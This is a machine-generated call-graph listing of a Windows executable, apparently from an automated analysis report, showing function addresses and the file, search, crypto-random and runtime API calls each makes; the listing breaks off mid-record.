7ff70f3d9814 38547->38551 38549->38538 38557 7ff70f3d3d38 31 API calls 3 library calls 38549->38557 38550->38549 38552 7ff70f3d4ab4 setbuf 16 API calls 38551->38552 38553 7ff70f3d981c 38552->38553 38554 7ff70f3d9824 WideCharToMultiByte 38553->38554 38555 7ff70f3d984b 38553->38555 38554->38555 38556 7ff70f3d4a74 __vcrt_getptd_noexit 15 API calls 38555->38556 38556->38546 38557->38542 38559 7ff70f3bb496 GetProcAddress 38558->38559 38560 7ff70f3a7e45 38558->38560 38561 7ff70f3bb4ae 38559->38561 38562 7ff70f3bb4cb GetProcAddress 38559->38562 38563 7ff70f387a68 38560->38563 38561->38562 38562->38560 38564 7ff70f387a76 38563->38564 38584 7ff70f3d2ae4 38564->38584 38566 7ff70f387a80 38567 7ff70f3d2ae4 setbuf 60 API calls 38566->38567 38568 7ff70f387a94 38567->38568 38593 7ff70f387b44 GetStdHandle GetFileType 38568->38593 38571 7ff70f387b44 3 API calls 38572 7ff70f387aae 38571->38572 38573 7ff70f387b44 3 API calls 38572->38573 38575 7ff70f387abe 38573->38575 38574 7ff70f387b12 38583 7ff70f38cd78 SetConsoleCtrlHandler 38574->38583 38577 7ff70f387aeb 38575->38577 38596 7ff70f3d2abc 31 API calls 2 library calls 38575->38596 38577->38574 38598 7ff70f3d2abc 31 API calls 2 library calls 38577->38598 38579 7ff70f387adf 38597 7ff70f3d2b40 33 API calls 3 library calls 38579->38597 38580 7ff70f387b06 38599 7ff70f3d2b40 33 API calls 3 library calls 38580->38599 38585 7ff70f3d2ae9 38584->38585 38586 7ff70f3d7ee8 38585->38586 38588 7ff70f3d7f23 38585->38588 38600 7ff70f3d4f3c 15 API calls abort 38586->38600 38602 7ff70f3d7d98 60 API calls 2 library calls 38588->38602 38589 7ff70f3d7eed 38601 7ff70f3d4e1c 31 API calls _invalid_parameter_noinfo 38589->38601 38592 7ff70f3d7ef8 38592->38566 38594 7ff70f387a9e 38593->38594 38595 7ff70f387b61 GetConsoleMode 38593->38595 38594->38571 38595->38594 38596->38579 38597->38577 38598->38580 38599->38574 38600->38589 38601->38592 38602->38592 38603 7ff70f3d231c 38604 7ff70f3d2342 GetModuleHandleW 38603->38604 38605 7ff70f3d238c 38603->38605 38604->38605 38607 7ff70f3d234f 38604->38607 38616 7ff70f3d6938 EnterCriticalSection 38605->38616 38607->38605 38617 7ff70f3d24d4 GetModuleHandleExW 38607->38617 38608 7ff70f3d6998 abort LeaveCriticalSection 38610 7ff70f3d2460 38608->38610 38609 7ff70f3d2410 38609->38608 38612 7ff70f3d246c 38610->38612 38615 7ff70f3d2488 11 API calls 38610->38615 38611 7ff70f3d2396 38611->38609 38613 7ff70f3d43b8 16 API calls 38611->38613 38613->38609 38615->38612 38618 7ff70f3d2525 38617->38618 38619 7ff70f3d24fe GetProcAddress 38617->38619 38621 7ff70f3d2535 38618->38621 38622 7ff70f3d252f FreeLibrary 38618->38622 38619->38618 38620 7ff70f3d2518 38619->38620 38620->38618 38621->38605 38622->38621 38623 7ff70f373b53 38624 7ff70f373b64 38623->38624 38673 7ff70f391e80 38624->38673 38626 7ff70f373bb6 38627 7ff70f373c18 38626->38627 38628 7ff70f373c01 38626->38628 38633 7ff70f373c09 38626->38633 38695 7ff70f378050 157 API calls 38627->38695 38690 7ff70f391c24 38628->38690 38630 7ff70f373ccc 38655 7ff70f373c90 38630->38655 38703 7ff70f392414 61 API calls 38630->38703 38632 7ff70f373c3d 38696 7ff70f378010 13 API calls 38632->38696 38685 7ff70f3923f0 38633->38685 38636 7ff70f373c45 38639 7ff70f373c54 38636->38639 38697 7ff70f38cba8 75 API calls 38636->38697 38638 7ff70f373cf9 38704 7ff70f391998 138 API calls 38638->38704 38698 7ff70f37a9d4 186 API calls wcschr 38639->38698 38643 7ff70f373d10 38705 7ff70f3918ac 38643->38705 38644 7ff70f373c5c 38699 7ff70f3793ac 8 API calls 38644->38699 38647 7ff70f373c66 38649 7ff70f373c77 38647->38649 38700 7ff70f38ca40 61 API calls _CxxThrowException 38647->38700 38701 7ff70f378090 8 API calls 38649->38701 38652 7ff70f373c7f 38652->38655 38702 7ff70f38ca40 61 API calls _CxxThrowException 38652->38702 38712 7ff70f3bd400 48 API calls 38655->38712 38674 7ff70f391e95 setbuf 38673->38674 38675 7ff70f391ecb CreateFileW 38674->38675 38676 7ff70f391f59 GetLastError 38675->38676 38677 7ff70f391fb8 38675->38677 38713 7ff70f3a4534 38676->38713 38678 7ff70f391ff7 38677->38678 38680 7ff70f391fd9 SetFileTime 38677->38680 38725 7ff70f3ca610 38678->38725 38680->38678 38682 7ff70f391f78 CreateFileW GetLastError 38682->38677 38739 7ff70f3924e8 38685->38739 38688 7ff70f39240e 38688->38630 38691 7ff70f391c37 38690->38691 38692 7ff70f391c3b 38690->38692 38691->38633 38692->38691 38693 7ff70f391c5d 38692->38693 38756 7ff70f392d6c 12 API calls 2 library calls 38693->38756 38695->38632 38696->38636 38698->38644 38699->38647 38700->38649 38701->38652 38702->38655 38703->38638 38704->38643 38706 7ff70f3918ca 38705->38706 38711 7ff70f3918db 38705->38711 38707 7ff70f3918d6 38706->38707 38708 7ff70f3918de 38706->38708 38706->38711 38710 7ff70f391c24 12 API calls 38707->38710 38757 7ff70f391930 38708->38757 38710->38711 38711->38655 38714 7ff70f3a4549 setbuf 38713->38714 38724 7ff70f3a45a2 38714->38724 38734 7ff70f3a472c CharUpperW 38714->38734 38716 7ff70f3a4579 38735 7ff70f3a4760 CharUpperW 38716->38735 38717 7ff70f3ca610 _UnwindNestedFrames 8 API calls 38718 7ff70f391f74 38717->38718 38718->38677 38718->38682 38720 7ff70f3a4592 38721 7ff70f3a459a 38720->38721 38722 7ff70f3a4629 GetCurrentDirectoryW 38720->38722 38736 7ff70f3a472c CharUpperW 38721->38736 38722->38724 38724->38717 38726 7ff70f3ca61a 38725->38726 38727 7ff70f39203a 38726->38727 38728 7ff70f3ca6a0 IsProcessorFeaturePresent 38726->38728 38727->38626 38729 7ff70f3ca6b7 38728->38729 38737 7ff70f3ca894 RtlCaptureContext RtlLookupFunctionEntry RtlVirtualUnwind 38729->38737 38731 7ff70f3ca6ca 38738 7ff70f3ca66c SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 38731->38738 38734->38716 38735->38720 38736->38724 38737->38731 38745 7ff70f391af0 38739->38745 38742 7ff70f3923f9 38742->38688 38744 7ff70f38ca40 61 API calls _CxxThrowException 38742->38744 38744->38688 38746 7ff70f391b01 setbuf 38745->38746 38747 7ff70f391b6f CreateFileW 38746->38747 38748 7ff70f391b68 38746->38748 38747->38748 38749 7ff70f391be1 38748->38749 38750 7ff70f3a4534 10 API calls 38748->38750 38753 7ff70f3ca610 _UnwindNestedFrames 8 API calls 38749->38753 38751 7ff70f391bb3 38750->38751 38751->38749 38752 7ff70f391bb7 CreateFileW 38751->38752 38752->38749 38754 7ff70f391c14 38753->38754 38754->38742 38755 7ff70f38ca08 10 API calls 38754->38755 38755->38742 38756->38691 38758 7ff70f391964 38757->38758 38759 7ff70f39194c 38757->38759 38760 7ff70f391988 38758->38760 38763 7ff70f38c9d0 10 API calls 38758->38763 38759->38758 38761 7ff70f391958 FindCloseChangeNotification 38759->38761 38760->38711 38761->38758 38763->38760 38764 7ff70f371884 38896 7ff70f3a34e4 38764->38896 38767 7ff70f371926 38769 7ff70f37195b 38767->38769 38960 7ff70f3a3f98 63 API calls 2 library calls 38767->38960 38768 7ff70f3a34e4 CompareStringW 38770 7ff70f3718a6 38768->38770 38776 7ff70f371970 38769->38776 38961 7ff70f392ed8 100 API calls 3 library calls 38769->38961 38772 7ff70f3a34e4 CompareStringW 38770->38772 38778 7ff70f3718b9 38770->38778 38772->38778 38775 7ff70f371915 38959 7ff70f38ca40 61 API calls _CxxThrowException 38775->38959 38779 7ff70f3719b8 38776->38779 38962 7ff70f3b49f4 48 API calls 38776->38962 38778->38767 38958 7ff70f371168 8 API calls 2 library calls 38778->38958 38900 7ff70f375450 38779->38900 38781 7ff70f3719b0 38963 7ff70f388444 54 API calls fflush 38781->38963 38787 7ff70f3772c4 76 API calls 38794 7ff70f371a12 38787->38794 38788 7ff70f371ae6 38934 7ff70f377514 38788->38934 38789 7ff70f371b04 38938 7ff70f386c94 38789->38938 38792 7ff70f371af2 38793 7ff70f377514 72 API calls 38792->38793 38795 7ff70f371aff 38793->38795 38794->38788 38794->38789 38796 7ff70f3ca610 _UnwindNestedFrames 8 API calls 38795->38796 38797 7ff70f372f97 38796->38797 38798 7ff70f371b13 38954 7ff70f377148 38798->38954 38800 7ff70f371c71 38801 7ff70f371ca7 38800->38801 38802 7ff70f3763e8 8 API calls 38800->38802 38803 7ff70f371cd5 38801->38803 38804 7ff70f371ce4 38801->38804 38805 7ff70f371c91 38802->38805 38808 7ff70f3ca444 new RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 38803->38808 38806 7ff70f3ca444 new RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 38804->38806 38807 7ff70f3749b8 99 API calls 38805->38807 38812 7ff70f371cee 38806->38812 38809 7ff70f371c9d 38807->38809 38808->38812 38810 7ff70f3763e8 8 API calls 38809->38810 38810->38801 38811 7ff70f371d50 38814 7ff70f3ca444 new RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 38811->38814 38812->38811 38813 7ff70f3bde30 72 API calls 38812->38813 38813->38811 38815 7ff70f371d62 38814->38815 38816 7ff70f3bdbd0 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 38815->38816 38817 7ff70f371d7b 38815->38817 38816->38817 38818 7ff70f3c2bcc 66 API calls 38817->38818 38819 7ff70f371dba 38818->38819 38892 7ff70f39ae10 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 38819->38892 38820 7ff70f371e1c 38822 7ff70f3710c0 8 API calls 38820->38822 38824 7ff70f371e5d 38820->38824 38821 7ff70f371dde std::bad_alloc::bad_alloc 38821->38820 38823 7ff70f3cba34 _CxxThrowException RtlPcToFileHeader RaiseException 38821->38823 38822->38824 38823->38820 38825 7ff70f37a410 159 API calls 38824->38825 38884 7ff70f371ef4 38824->38884 38825->38884 38826 7ff70f372d0c 38828 7ff70f3bde30 72 API calls 38826->38828 38838 7ff70f372d21 38826->38838 38827 7ff70f372ccc 38827->38826 38891 7ff70f398c80 72 API calls 38827->38891 38828->38838 38829 7ff70f372d86 38835 7ff70f3b49f4 48 API calls 38829->38835 38873 7ff70f372dd0 38829->38873 38830 7ff70f3b49f4 48 API calls 38870 7ff70f372005 38830->38870 38831 7ff70f396688 48 API calls 38831->38884 38832 7ff70f3bb6d0 73 API calls 38832->38870 38833 7ff70f388444 54 API calls 38833->38870 38834 7ff70f375e70 169 API calls 38834->38870 38839 7ff70f372d9e 38835->38839 38836 7ff70f37a504 208 API calls 38836->38873 38837 7ff70f3780e4 192 API calls 38837->38873 38838->38829 38840 7ff70f3b49f4 48 API calls 38838->38840 38842 7ff70f388444 54 API calls 38839->38842 38844 7ff70f372d6c 38840->38844 38841 7ff70f375928 237 API calls 38841->38870 38845 7ff70f372da6 38842->38845 38843 7ff70f397c7c 127 API calls 38843->38873 38846 7ff70f3b49f4 48 API calls 38844->38846 38854 7ff70f391c24 12 API calls 38845->38854 38851 7ff70f372d79 38846->38851 38847 7ff70f37e6c8 157 API calls 38847->38884 38848 7ff70f38e21c 63 API calls 38848->38870 38849 7ff70f371168 8 API calls 38849->38873 38850 7ff70f37b540 147 API calls 38850->38884 38852 7ff70f388444 54 API calls 38851->38852 38852->38829 38853 7ff70f3965b4 48 API calls 38853->38884 38854->38873 38855 7ff70f37a4d0 12 API calls 38855->38884 38856 7ff70f394554 16 API calls 38856->38884 38857 7ff70f3bae50 71 API calls 38861 7ff70f372e39 38857->38861 38858 7ff70f3733b4 64 API calls 38858->38873 38859 7ff70f391998 138 API calls 38859->38884 38860 7ff70f375db4 46 API calls 38860->38884 38861->38857 38862 7ff70f38ca40 61 API calls 38861->38862 38861->38873 38862->38873 38863 7ff70f376188 231 API calls 38863->38873 38864 7ff70f391e80 15 API calls 38864->38884 38865 7ff70f397c7c 127 API calls 38865->38884 38866 7ff70f391930 11 API calls 38866->38884 38867 7ff70f373f74 138 API calls 38867->38873 38868 7ff70f37b540 147 API calls 38868->38870 38869 7ff70f38cbd0 75 API calls 38869->38884 38870->38830 38870->38832 38870->38833 38870->38834 38870->38841 38870->38848 38870->38868 38870->38884 38871 7ff70f3b49f4 48 API calls 38871->38873 38872 7ff70f3aba9c 195 API calls 38872->38873 38873->38836 38873->38837 38873->38843 38873->38849 38873->38858 38873->38861 38873->38863 38873->38867 38873->38871 38873->38872 38875 7ff70f388444 54 API calls 38873->38875 38874 7ff70f375004 49 API calls 38874->38884 38875->38873 38876 7ff70f3918ac 15 API calls 38876->38884 38877 7ff70f371168 8 API calls 38877->38884 38878 7ff70f3bd48c 58 API calls 38878->38884 38879 7ff70f37a410 159 API calls 38879->38884 38880 7ff70f37571c 12 API calls 38880->38884 38881 7ff70f375e70 169 API calls 38881->38884 38882 7ff70f389be0 14 API calls 38882->38884 38883 7ff70f3bc0a8 10 API calls 38883->38884 38884->38827 38884->38831 38884->38847 38884->38850 38884->38853 38884->38855 38884->38856 38884->38859 38884->38860 38884->38864 38884->38865 38884->38866 38884->38869 38884->38870 38884->38874 38884->38876 38884->38877 38884->38878 38884->38879 38884->38880 38884->38881 38884->38882 38884->38883 38885 7ff70f396378 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 38884->38885 38886 7ff70f3a97f0 GetStdHandle ReadFile GetLastError GetLastError GetFileType 38884->38886 38887 7ff70f395c0c 237 API calls 38884->38887 38888 7ff70f395d40 237 API calls 38884->38888 38889 7ff70f376114 216 API calls 38884->38889 38890 7ff70f395708 237 API calls 38884->38890 38893 7ff70f39a250 237 API calls 38884->38893 38894 7ff70f39aae0 237 API calls 38884->38894 38895 7ff70f380d60 237 API calls 38884->38895 38885->38884 38886->38884 38887->38884 38888->38884 38889->38884 38890->38884 38891->38826 38892->38821 38893->38884 38894->38870 38895->38870 38897 7ff70f3a34f6 38896->38897 38899 7ff70f371893 38897->38899 38964 7ff70f3bdac0 CompareStringW 38897->38964 38899->38768 38899->38778 38901 7ff70f37546f setbuf 38900->38901 38902 7ff70f37554a __scrt_fastfail 38901->38902 38918 7ff70f375588 __scrt_fastfail 38901->38918 39005 7ff70f3bc0a8 GetSystemTime SystemTimeToFileTime 38902->39005 38904 7ff70f375583 38994 7ff70f376eb8 38904->38994 38909 7ff70f37681c 54 API calls 38909->38904 38910 7ff70f3756e9 39001 7ff70f3b6f68 38910->39001 38912 7ff70f3756f6 38913 7ff70f3ca610 _UnwindNestedFrames 8 API calls 38912->38913 38914 7ff70f3719df 38913->38914 38920 7ff70f3772c4 38914->38920 38918->38904 38965 7ff70f373210 38918->38965 38971 7ff70f387088 38918->38971 38975 7ff70f37681c 38918->38975 38986 7ff70f3b7a24 38918->38986 39008 7ff70f37571c 38918->39008 39016 7ff70f384380 14 API calls 38918->39016 38921 7ff70f3772eb 38920->38921 39132 7ff70f3888dc 38921->39132 38923 7ff70f377302 39136 7ff70f3a915c 38923->39136 38925 7ff70f37730f 39148 7ff70f3a7044 38925->39148 38928 7ff70f3ca444 new 4 API calls 38929 7ff70f3773e3 38928->38929 38931 7ff70f3773f5 __scrt_fastfail 38929->38931 39164 7ff70f39894c 38929->39164 39153 7ff70f389be0 38931->39153 38935 7ff70f377539 38934->38935 39257 7ff70f3a922c 38935->39257 38939 7ff70f386cbc 38938->38939 38940 7ff70f386d45 38938->38940 38942 7ff70f386cd9 38939->38942 39271 7ff70f3a9f78 8 API calls 2 library calls 38939->39271 38941 7ff70f386d83 38940->38941 38943 7ff70f386d69 38940->38943 39276 7ff70f3a9f78 8 API calls 2 library calls 38940->39276 38941->38798 38945 7ff70f386cf3 38942->38945 39272 7ff70f3a9f78 8 API calls 2 library calls 38942->39272 38943->38941 39277 7ff70f3a9f78 8 API calls 2 library calls 38943->39277 38951 7ff70f386d0d 38945->38951 39273 7ff70f3a9f78 8 API calls 2 library calls 38945->39273 38950 7ff70f386d2b 38950->38941 39275 7ff70f3a9f78 8 API calls 2 library calls 38950->39275 38951->38950 39274 7ff70f3a9f78 8 API calls 2 library calls 38951->39274 38955 7ff70f377167 38954->38955 38956 7ff70f377162 38954->38956 39278 7ff70f376c64 130 API calls _UnwindNestedFrames 38956->39278 38958->38775 38959->38767 38960->38769 38961->38776 38962->38781 38963->38779 38964->38899 38966 7ff70f3732e9 38965->38966 38968 7ff70f373231 38965->38968 38966->38918 38968->38966 39017 7ff70f384380 14 API calls 38968->39017 38969 7ff70f37329c 38969->38966 39018 7ff70f392a20 22 API calls 2 library calls 38969->39018 38972 7ff70f3870a4 38971->38972 38973 7ff70f3870c5 38972->38973 39019 7ff70f398558 10 API calls 2 library calls 38972->39019 38973->38918 39020 7ff70f376714 38975->39020 38977 7ff70f376836 38978 7ff70f376853 38977->38978 39031 7ff70f3d48c0 38977->39031 38978->38918 38981 7ff70f3768a9 std::bad_alloc::bad_alloc 39039 7ff70f3cba34 RtlPcToFileHeader RaiseException 38981->39039 38983 7ff70f3768c4 39040 7ff70f377188 12 API calls 38983->39040 38985 7ff70f3768eb 38985->38918 38987 7ff70f3b7a59 38986->38987 38992 7ff70f3b7a4f 38986->38992 38988 7ff70f3b7a7c 38987->38988 38991 7ff70f3b7b1c 60 API calls 38987->38991 38987->38992 39047 7ff70f3b71fc 38987->39047 39080 7ff70f3841b0 14 API calls 2 library calls 38987->39080 39079 7ff70f3bb6d0 73 API calls _Init_thread_footer 38988->39079 38991->38987 38992->38918 38995 7ff70f376ee6 38994->38995 39000 7ff70f376f5c 38994->39000 39121 7ff70f3b9f64 8 API calls __BuildCatchObjectHelper 38995->39121 38997 7ff70f376efb 38998 7ff70f376f2f 38997->38998 38997->39000 38998->38997 39122 7ff70f377188 12 API calls 38998->39122 39000->38910 39002 7ff70f3b6fb4 39001->39002 39004 7ff70f3b6f8a 39001->39004 39003 7ff70f394538 FindClose 39003->39004 39004->39002 39004->39003 39006 7ff70f3ca610 _UnwindNestedFrames 8 API calls 39005->39006 39007 7ff70f375576 39006->39007 39007->38909 39009 7ff70f375742 39008->39009 39013 7ff70f37575d 39008->39013 39009->39013 39127 7ff70f3a3520 12 API calls 2 library calls 39009->39127 39123 7ff70f3a3610 39013->39123 39014 7ff70f3757fc 39014->38918 39016->38918 39017->38969 39018->38966 39019->38972 39021 7ff70f376738 39020->39021 39030 7ff70f3767a7 __BuildCatchObjectHelper 39020->39030 39022 7ff70f376765 39021->39022 39041 7ff70f38ca6c 48 API calls 3 library calls 39021->39041 39023 7ff70f376786 39022->39023 39024 7ff70f3767e1 39022->39024 39023->39030 39043 7ff70f38cb64 8 API calls 39023->39043 39024->39030 39044 7ff70f38cb64 8 API calls 39024->39044 39026 7ff70f376759 39042 7ff70f38cb64 8 API calls 39026->39042 39030->38977 39032 7ff70f3d48f5 39031->39032 39036 7ff70f37684b 39031->39036 39032->39036 39045 7ff70f3d7094 31 API calls 2 library calls 39032->39045 39034 7ff70f3d4924 39035 7ff70f3d492d 39034->39035 39034->39036 39046 7ff70f3d4e3c 16 API calls abort 39035->39046 39036->38978 39036->38981 39039->38983 39040->38985 39041->39026 39045->39034 39053 7ff70f3b7217 setbuf 39047->39053 39049 7ff70f3ca610 _UnwindNestedFrames 8 API calls 39051 7ff70f3b776f 39049->39051 39051->38987 39052 7ff70f3b7453 39055 7ff70f3b7476 39052->39055 39056 7ff70f3b7464 39052->39056 39062 7ff70f3b729c 39053->39062 39071 7ff70f3b725a 39053->39071 39073 7ff70f3b73c5 39053->39073 39088 7ff70f394554 39053->39088 39074 7ff70f3b7496 39055->39074 39085 7ff70f394538 39055->39085 39102 7ff70f3b7c38 55 API calls 3 library calls 39056->39102 39058 7ff70f3b7342 39058->39071 39075 7ff70f3b7656 39058->39075 39078 7ff70f3b76ef 39058->39078 39103 7ff70f384380 14 API calls 39058->39103 39059 7ff70f3b7471 39059->39055 39063 7ff70f3b73bb 39062->39063 39065 7ff70f3b732e 39062->39065 39096 7ff70f3ca444 39063->39096 39065->39058 39067 7ff70f3b734a 39065->39067 39068 7ff70f3b737e 39067->39068 39067->39071 39094 7ff70f384380 14 API calls 39067->39094 39068->39071 39095 7ff70f38cbd0 75 API calls 39068->39095 39069 7ff70f394554 16 API calls 39069->39071 39071->39049 39081 7ff70f3945cc 39073->39081 39074->39069 39074->39071 39075->39071 39075->39075 39076 7ff70f3b7723 39075->39076 39075->39078 39104 7ff70f37c214 8 API calls 2 library calls 39076->39104 39078->39071 39105 7ff70f398558 10 API calls 2 library calls 39078->39105 39080->38987 39084 7ff70f3945ed 39081->39084 39082 7ff70f3946b2 39082->39052 39082->39058 39083 7ff70f3946ec 15 API calls 39083->39084 39084->39082 39084->39083 39086 7ff70f39454f 39085->39086 39087 7ff70f394549 FindClose 39085->39087 39086->39074 39087->39086 39089 7ff70f394570 39088->39089 39090 7ff70f394574 39089->39090 39106 7ff70f3946ec 39089->39106 39090->39062 39093 7ff70f39458d FindClose 39093->39090 39094->39068 39095->39071 39097 7ff70f3ca44f 39096->39097 39098 7ff70f3ca47a 39097->39098 39099 7ff70f3d36c0 new 2 API calls 39097->39099 39119 7ff70f3cb314 RtlPcToFileHeader RaiseException std::bad_alloc::bad_alloc _CxxThrowException 39097->39119 39120 7ff70f3cb2f4 RtlPcToFileHeader RaiseException std::bad_alloc::bad_alloc _CxxThrowException 39097->39120 39098->39073 39099->39097 39102->39059 39103->39075 39104->39071 39105->39071 39107 7ff70f394705 setbuf 39106->39107 39108 7ff70f394733 FindFirstFileW 39107->39108 39109 7ff70f3947a4 FindNextFileW 39107->39109 39110 7ff70f39478b 39108->39110 39112 7ff70f394749 39108->39112 39109->39110 39111 7ff70f3947ae GetLastError 39109->39111 39114 7ff70f3ca610 _UnwindNestedFrames 8 API calls 39110->39114 39111->39110 39113 7ff70f3a4534 10 API calls 39112->39113 39115 7ff70f39475b 39113->39115 39116 7ff70f394587 39114->39116 39117 7ff70f39475f FindFirstFileW 39115->39117 39118 7ff70f39477a GetLastError 39115->39118 39116->39090 39116->39093 39117->39110 39117->39118 39118->39110 39121->38997 39122->38998 39125 7ff70f3a3626 setbuf wcschr 39123->39125 39124 7ff70f3ca610 _UnwindNestedFrames 8 API calls 39126 7ff70f3757e1 39124->39126 39125->39124 39126->39014 39128 7ff70f3a48bc 39126->39128 39127->39013 39129 7ff70f3a48cb setbuf 39128->39129 39130 7ff70f3ca610 _UnwindNestedFrames 8 API calls 39129->39130 39131 7ff70f3a493a 39130->39131 39131->39014 39133 7ff70f388919 39132->39133 39169 7ff70f3b4b14 39133->39169 39135 7ff70f388954 __scrt_fastfail 39135->38923 39137 7ff70f3a9199 39136->39137 39174 7ff70f3ca480 39137->39174 39140 7ff70f3ca444 new 4 API calls 39141 7ff70f3a91cf 39140->39141 39142 7ff70f3888dc 8 API calls 39141->39142 39143 7ff70f3a91e1 39141->39143 39142->39143 39144 7ff70f3ca444 new 4 API calls 39143->39144 39145 7ff70f3a91f7 39144->39145 39146 7ff70f3a9209 39145->39146 39147 7ff70f3888dc 8 API calls 39145->39147 39146->38925 39147->39146 39149 7ff70f3888dc 8 API calls 39148->39149 39150 7ff70f3a7063 39149->39150 39182 7ff70f3a72c0 39150->39182 39186 7ff70f38901c CryptAcquireContextW 39153->39186 39157 7ff70f389c2a 39196 7ff70f3b9ce4 39157->39196 39161 7ff70f389c5b __BuildCatchObjectHelper 39162 7ff70f3ca610 _UnwindNestedFrames 8 API calls 39161->39162 39163 7ff70f371a01 39162->39163 39163->38787 39213 7ff70f3b7d80 39164->39213 39170 7ff70f3b4b26 39169->39170 39171 7ff70f3b4b2b 39169->39171 39173 7ff70f3b4b38 8 API calls _UnwindNestedFrames 39170->39173 39171->39135 39173->39171 39175 7ff70f3ca444 39174->39175 39176 7ff70f3a91be 39175->39176 39177 7ff70f3d36c0 new 2 API calls 39175->39177 39180 7ff70f3cb314 RtlPcToFileHeader RaiseException std::bad_alloc::bad_alloc _CxxThrowException 39175->39180 39181 7ff70f3cb2f4 RtlPcToFileHeader RaiseException std::bad_alloc::bad_alloc _CxxThrowException 39175->39181 39176->39140 39177->39175 39183 7ff70f3a72dd 39182->39183 39184 7ff70f3ca480 4 API calls 39183->39184 39185 7ff70f377325 39183->39185 39184->39185 39185->38928 39185->38931 39187 7ff70f389057 CryptGenRandom CryptReleaseContext 39186->39187 39188 7ff70f38907e 39186->39188 39187->39188 39189 7ff70f389089 39187->39189 39190 7ff70f389c9c 11 API calls 39188->39190 39191 7ff70f389c9c 39189->39191 39190->39189 39192 7ff70f3bc0a8 10 API calls 39191->39192 39193 7ff70f389cc5 39192->39193 39206 7ff70f3d2d74 39193->39206 39197 7ff70f389c49 39196->39197 39198 7ff70f3b9d15 __BuildCatchObjectHelper 39196->39198 39200 7ff70f3b9b70 39197->39200 39198->39197 39209 7ff70f3b9d74 39198->39209 39203 7ff70f3b9bad __scrt_fastfail 39200->39203 39204 7ff70f3b9bd9 __scrt_fastfail 39200->39204 39201 7ff70f3b9d74 8 API calls 39202 7ff70f3b9c07 39201->39202 39202->39161 39203->39204 39205 7ff70f3b9d74 8 API calls 39203->39205 39204->39201 39205->39204 39207 7ff70f3d2d8b QueryPerformanceCounter 39206->39207 39208 7ff70f389cd7 39206->39208 39207->39208 39208->39157 39210 7ff70f3b9dbc 39209->39210 39211 7ff70f3ca610 _UnwindNestedFrames 8 API calls 39210->39211 39212 7ff70f3b9f40 39211->39212 39212->39198 39220 7ff70f3b8094 39213->39220 39216 7ff70f398a44 39217 7ff70f398a5a __scrt_fastfail 39216->39217 39252 7ff70f3bbac4 39217->39252 39221 7ff70f3b809f 39220->39221 39224 7ff70f3b7ec8 39221->39224 39225 7ff70f3b7efa __BuildCatchObjectHelper 39224->39225 39229 7ff70f3b7fb5 39225->39229 39238 7ff70f3bb3f0 39225->39238 39228 7ff70f3b805c GetCurrentProcessId 39231 7ff70f39896e 39228->39231 39229->39228 39232 7ff70f3b7ff1 39229->39232 39230 7ff70f3b7f7e GetProcAddressForCaller GetProcAddress 39230->39229 39231->39216 39232->39231 39247 7ff70f38ca6c 48 API calls 3 library calls 39232->39247 39234 7ff70f3b801f 39248 7ff70f38cda4 10 API calls 2 library calls 39234->39248 39236 7ff70f3b8027 39249 7ff70f38ca40 61 API calls _CxxThrowException 39236->39249 39250 7ff70f3ca5a0 39238->39250 39241 7ff70f3bb428 39245 7ff70f3ca610 _UnwindNestedFrames 8 API calls 39241->39245 39242 7ff70f3bb42c 39243 7ff70f3a48bc 8 API calls 39242->39243 39244 7ff70f3bb444 LoadLibraryW 39243->39244 39244->39241 39246 7ff70f3b7f72 39245->39246 39246->39229 39246->39230 39247->39234 39248->39236 39249->39231 39251 7ff70f3bb3fc GetSystemDirectoryW 39250->39251 39251->39241 39251->39242 39255 7ff70f3bba70 GetCurrentProcess GetProcessAffinityMask 39252->39255 39256 7ff70f3989c5 39255->39256 39256->38931 39258 7ff70f3a9245 39257->39258 39265 7ff70f396194 39258->39265 39260 7ff70f3a92b1 39261 7ff70f396194 72 API calls 39260->39261 39262 7ff70f3a92bd 39261->39262 39263 7ff70f396194 72 API calls 39262->39263 39264 7ff70f3a92c9 39263->39264 39266 7ff70f3961b4 39265->39266 39269 7ff70f3961cb 39265->39269 39270 7ff70f3bb850 72 API calls 39266->39270 39269->39260 39271->38942 39272->38945 39273->38951 39274->38950 39275->38940 39276->38943 39277->38941 39278->38955 39279 7ff70f373e71 39280 7ff70f373e81 39279->39280 39283 7ff70f373e89 39279->39283 39290 7ff70f3c9a14 49 API calls 39280->39290 39282 7ff70f373edd 39285 7ff70f3ca610 _UnwindNestedFrames 8 API calls 39282->39285 39283->39282 39284 7ff70f373ea3 39283->39284 39291 7ff70f39331c 48 API calls 2 library calls 39284->39291 39287 7ff70f373eef 39285->39287 39288 7ff70f373eab 39288->39282 39292 7ff70f3763e8 8 API calls 2 library calls 39288->39292 39290->39283 39291->39288 39292->39282 39293 7ff70f3782f0 39294 7ff70f378306 39293->39294 39306 7ff70f37836f 39293->39306 39295 7ff70f378324 39294->39295 39296 7ff70f378371 39294->39296 39294->39306 39413 7ff70f392414 61 API calls 39295->39413 39296->39306 39415 7ff70f391998 138 API calls 39296->39415 39298 7ff70f378347 39414 7ff70f391998 138 API calls 39298->39414 39301 7ff70f37835e 39302 7ff70f3918ac 15 API calls 39301->39302 39302->39306 39316 7ff70f37a410 39306->39316 39307 7ff70f378578 39308 7ff70f37b540 147 API calls 39307->39308 39313 7ff70f37858f 39308->39313 39309 7ff70f37b540 147 API calls 39309->39307 39310 7ff70f378634 39311 7ff70f3ca610 _UnwindNestedFrames 8 API calls 39310->39311 39312 7ff70f378663 39311->39312 39313->39310 39416 7ff70f379628 175 API calls 39313->39416 39417 7ff70f3a7a68 39316->39417 39319 7ff70f37853a 39321 7ff70f37b540 39319->39321 39326 7ff70f37b55f setbuf 39321->39326 39322 7ff70f37b5a1 39323 7ff70f37b5d8 39322->39323 39324 7ff70f37b5b8 39322->39324 39565 7ff70f3a8c1c 39323->39565 39451 7ff70f37aba0 39324->39451 39326->39322 39447 7ff70f37a4d0 39326->39447 39328 7ff70f3ca610 _UnwindNestedFrames 8 API calls 39329 7ff70f37854f 39328->39329 39329->39307 39329->39309 39330 7ff70f37b67f 39331 7ff70f37bc91 39330->39331 39333 7ff70f37bbae 39330->39333 39334 7ff70f37b6a5 39330->39334 39332 7ff70f37b5d3 39331->39332 39335 7ff70f392574 126 API calls 39331->39335 39332->39328 39336 